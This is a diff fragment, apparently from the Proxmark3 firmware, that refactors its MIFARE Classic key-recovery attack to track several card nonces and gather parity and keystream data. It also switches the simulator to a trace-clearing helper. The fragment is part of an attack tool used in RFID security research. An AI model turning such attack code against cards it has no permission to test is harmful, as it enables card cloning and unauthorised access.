// Receive the (16 bit) "random" nonce
if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
-
- // Transmit reader nonce and reader answer
- ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
-
- // Receive 4 bit answer
- if (ReaderReceive(receivedAnswer))
- {
- if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
-
- isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
- if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
-
- if (nt_diff == 0)
- {
- LED_A_ON();
- memcpy(nt_attacked, nt, 4);
- //par_mask = 0xf8;
- par_low = par & 0x07;
- }
-
- led_on = !led_on;
- if(led_on) LED_B_ON(); else LED_B_OFF();
- par_list[nt_diff] = par;
- ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
-
- // Test if the information is complete
- if (nt_diff == 0x07) {
- isOK = 1;
- break;
- }
-
- nt_diff = (nt_diff + 1) & 0x07;
- mf_nr_ar[3] = nt_diff << 5;
- par = par_low;
- } else {
- if (nt_diff == 0)
- {
- par++;
- } else {
- par = (((par >> 3) + 1) << 3) | par_low;
- }
- }
- }
-
- LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
- LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
- LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
-
- UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
- memcpy(ack.d.asBytes + 0, uid, 4);
- memcpy(ack.d.asBytes + 4, nt, 4);
- memcpy(ack.d.asBytes + 8, par_list, 8);
- memcpy(ack.d.asBytes + 16, ks_list, 8);
-
- LED_B_ON();
- UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
- LED_B_OFF();
+ memcpy(nt, receivedAnswer, 4);
+
+ //Now we have the NT. Check if this NT is already under attack
+ AttackState* pState = NULL;
+ int i = 0;
+ for(i = 0 ; i < nts_attacked && pState == NULL; i++)
+ {
+ if( memcmp(nt, states[i].nt, 4) == 0)
+ {
+ //we have it
+ pState = &states[i];
+ //Dbprintf("Existing state found (%d)", i);
+ }
+ }
- // Thats it...
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- LEDsoff();
- tracing = TRUE;
-
- if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
+ if(pState == NULL){
+ if(nts_attacked < STATE_SIZE )
+ {
+ //Initialize a new state
+ pState = &states[nts_attacked++];
+ //Clear it before use
+ memset(pState, 0, sizeof(AttackState));
+ memcpy(pState->nt, nt, 4);
+ i = nts_attacked;
+ //Dbprintf("New state created, nt=");
+ }else if(!high_entropy_warning_issued){
+ /**
+ *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
+ *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
+ *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
+ *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
+ */
+ DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
+ high_entropy_warning_issued = 1;
+ }
+ }
+ if(pState == NULL) continue;
+
+ int result = continueAttack(pState, receivedAnswer);
+
+ if(result == 1){
+ //One state progressed another step
+ if(pState->nt_diff > progress)
+ {
+ progress = pState->nt_diff;
+ //Alert the user
+ Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
+ }
+ //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
+ }
+ else if(result == 2){
+ //Dbprintf("Continue attack no answer, par is now %d", pState->par);
+ }
+ else if(result == 0){
+ reportResults(uid,pState,1);
+ return;
+ }
+ }
+ reportResults(uid,NULL,0);
}
-
-
//-----------------------------------------------------------------------------
// MIFARE 1K simulate.
//
// C(red) A(yellow) B(green)
LEDsoff();
// init trace buffer
- traceLen = 0;
- memset(trace, 0x44, TRACE_SIZE);
+ iso14a_clear_trace();
// The command (reader -> tag) that we're receiving.
// The length of a received command will in most cases be no more than 18 bytes.
Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax);
LEDsoff();
-}
\ No newline at end of file
+}
projects / proxmark3-svn / blobdiff